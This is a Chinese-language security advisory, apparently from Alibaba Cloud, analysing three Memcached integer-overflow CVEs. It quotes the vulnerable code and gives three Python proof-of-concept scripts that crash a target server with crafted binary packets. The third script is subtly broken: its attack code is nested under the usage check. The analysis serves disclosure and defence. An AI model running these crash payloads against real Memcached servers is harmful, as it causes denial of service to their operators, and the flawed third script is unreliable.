大数跨境
0
0

Memcached命令执行漏洞原理和对阿里云Memcache影响分析

Memcached命令执行漏洞原理和对阿里云Memcache影响分析 阿里云云栖号
2016-11-10
0
导读:Memcached是一个广泛使用的高速缓存系统,近期研究者发现小于1.4.33的版本存在3个整数溢出漏洞,通过这几个漏洞攻击者可以触发堆溢出导致crash,这里对漏洞做了分析和验证。

漏洞简介


Memcached是一个广泛使用的高速缓存系统,近期研究者发现小于1.4.33的版本存在3个整数溢出漏洞,通过这几个漏洞攻击者可以触发堆溢出导致crash。官方在11月1日发布了升级公告。漏洞作者已经提供了很详细的描述,在这里仅做简单的整理和验证。


后面验证了阿里云ApsaraDB for Memcache不受漏洞影响,并分析了原因。这个案例深刻告诉我们,对于用户输入,一定要做全面的检查。


漏洞分析


漏洞仅仅在binary时会触发。本质都是没有对用户输入的协议做严格全面的边界检查,导致在调用item.c中的do_item_alloc()函数时, 传入的参数nbytes是个负值,导致堆栈溢出。


item *do_item_alloc(char *key, const size_t nkey, const int flags,

                    const rel_time_t exptime, const int nbytes,

                    const uint32_t cur_hv) {

  size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);

}


ntotal大小的内存用来存放item、flags、key、value。当nbytes为负值,导致ntotal偏小,导致溢出。


CVE-2016-8704


当执行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) 命令时会进入这样如下代码路径:


case PROTOCOL_BINARY_CMD_APPEND:

case PROTOCOL_BINARY_CMD_PREPEND:

  if (keylen > 0 && extlen == 0) {

    bin_read_key(c, bin_reading_set_header, 0);

  } else {

    protocol_error = 1;

  }

  break;


这里并仅检查了keylen和extlen的值,并没有检查bodylen。


complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入了process_bin_append_prepend()函数中,


key = binary_get_key(c);

nkey = c->binary_header.request.keylen; //

vlen = c->binary_header.request.bodylen - nkey;

...

it = item_alloc(key, nkey, 0, 0, vlen+2);


这里keylen做过合法性检查,bodylen没有,所以itme_alloc()函数中的参数中key、nkey可以保证合法性,但vlen无法保证。


PoC代码:


# -*- coding: utf-8 -*-


import struct

import socket

import sys


MEMCACHED_REQUEST_MAGIC = "\x80"

OPCODE_PREPEND_Q = "\x1a"

key_len = struct.pack("!H", 0xfa)

extra_len = "\x00"

data_type = "\x00"

vbucket = "\x00\x00"

body_len = struct.pack("!I", 0)

opaque = struct.pack("!I", 0)

CAS = struct.pack("!Q", 0)

body = "A" * 1024


if len(sys.argv) != 3:

    print "./poc_crash.py <server> <port>"

    sys.exit(1)


packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len

packet += data_type + vbucket + body_len + opaque + CAS

packet += body


set_packet = "set testkey 0 60 4\r\ntest\r\n"

get_packet = "get testkey\r\n"


s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s1.connect((sys.argv[1], int(sys.argv[2])))

s1.sendall(set_packet)

print s1.recv(1024)

s1.close()


s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s2.connect((sys.argv[1], int(sys.argv[2])))

s2.sendall(packet)

print s2.recv(1024)

s2.close()


s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s3.connect((sys.argv[1], int(sys.argv[2])))

s3.sendall(get_packet)

s3.recv(1024)

s3.close()


当进入process_bin_append_prepend()函数中,nkey 250、vlen -248, 调用item_alloc(), 触发漏洞。


CVE-2016-8705


当进行Set (opcode 0x01),Add (opcode 0x02), Replace (opcode 0x03) ,SetQ (opcode 0x11), AddQ (opcode 0x12) ,ReplaceQ (opcode 0x13)作时会进入如下代码路径:


static void dispatch_bin_command(conn *c) {

  int extlen = c->binary_header.request.extlen;

  int keylen = c->binary_header.request.keylen;

  uint32_t bodylen = c->binary_header.request.bodylen;

  ...

  case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */

  case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */

  case PROTOCOL_BINARY_CMD_REPLACE:

    if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {

      bin_read_key(c, bin_reading_set_header, 8);

    } else {

      protocol_error = 1;

    }

    break;

}


在这里需满足bodylen >= (keylen + 8),这里要注意的是各变量类型,bodylen 为uint32_t。


complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,程序进入process_bin_update():


static void process_bin_update(conn *c) {

  int nkey;

  int vlen;

  ...

  key = binary_get_key(c);

  nkey = c->binary_header.request.keylen;

  ...

  vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen);

  ...

  it = item_alloc(key, nkey, req->message.body.flags,

                  realtime(req->message.body.expiration), vlen+2);

}


bodylen为无符号整形,在赋值给整形的vlen时会做类型转换,若bodylen过大, vlen 会变成一个负数,进而调用item_alloc()触发漏洞。


PoC:


import struct

import socket

import sys


MEMCACHED_REQUEST_MAGIC = "\x80"

OPCODE_ADD = "\x02"

key_len = struct.pack("!H", 0xfa)

extra_len = "\x08"

data_type = "\x00"

vbucket = "\x00\x00"

body_len = struct.pack("!I", 0xffffffd0)

opaque = struct.pack("!I", 0)

CAS = struct.pack("!Q", 0)

extras_flags = 0xdeadbeef

extras_expiry = struct.pack("!I", 0xe10)

body = "A" * 1024


packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len

packet += data_type + vbucket + body_len + opaque + CAS

packet += body

if len(sys.argv) != 3:

    print "./poc_add.py <server> <port>"

    sys.exit(1)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((sys.argv[1], int(sys.argv[2])))

s.sendall(packet)

print s.recv(1024)

s.close()


dispatch_bin_command()中 keylen为250,bodylen为 4294967248,通过了检查。process_bin_update()中 nkey为250,vlen 为 -306,调用item_alloc() 触发漏洞。


CVE-2016-8706


当进行 SASL_AUTH 操作,进入下面代码步骤:


static void dispatch_bin_command(conn *c) {

  ...

  case PROTOCOL_BINARY_CMD_SASL_AUTH:

  case PROTOCOL_BINARY_CMD_SASL_STEP:

  if (extlen == 0 && keylen != 0) {

    bin_read_key(c, bin_reading_sasl_auth, 0);

  } else {

    protocol_error = 1;

  }

  break;

  ...

}


这里只检查了extlen 和keylen,没有对bodylen进行检查。


complete_nread_binary()后,即当从socket中读取和解析完header、extlen、key后,注意此时value还没从socket中读取,进入process_bin_sasl_auth()函数:


static void process_bin_sasl_auth(conn *c) {

  ...

  int nkey = c->binary_header.request.keylen;

  int vlen = c->binary_header.request.bodylen - nkey;

  ...

  item* it = item_alloc(key, nkey, 0, 0, vlen);

}


只要bodylen 小于keylen,vlen 变为负值。


PoC:


import struct

import socket

import sys


MEMCACHED_REQUEST_MAGIC = "\x80"

OPCODE_SET = "\x21"

key_len = struct.pack("!H",32)

body_len = struct.pack("!I",1)

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len + body_len*2 + "A"*1000

if len(sys.argv) != 3:

    print "./poc_sasl.py <server> <ip>"

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    s.connect((sys.argv[1],int(sys.argv[2])))

    s.sendall(packet)

    print s.recv(1024)

    s.close()


process_bin_sasl_auth()中 nkey为32,vlen 为 -31,调用item_alloc()触发漏洞。


阿里云ApsaraDB for Memcache(原名OCS) 验证分析


阿里云ApsaraDB for Memcache,底层不是用的官方Memcached,而且基于自研的Tair,兼容Memcached协议。对于用户输入的协议,做了严格的边界检查,避免了上述漏洞。相关部分伪代码如下:


int16_t extlen = c->binary_header.request.extlen;

int16_t keylen = c->binary_header.request.keylen;

int32_t bodylen = c->binary_header.request.bodylen;

if (boylen < 0 || bodylen > 2*1024*1024)

{

  decode protocal error;

  主动close 连接;

}

if (extlen < 0 || keylen < 0 || bodylen < keylen + extlen)

{

  decode protocal error;

  主动close 连接;

}


使用上述的PoC代码测试ApsaraDB for Memcache,对应连接会被server端直接close()掉。

【声明】内容源于网络
0
0
阿里云云栖号
云栖官方内容平台,汇聚云栖365优质内容。
内容 3553
粉丝 0
阿里云云栖号 云栖官方内容平台,汇聚云栖365优质内容。
总阅读1.2k
粉丝0
内容3.6k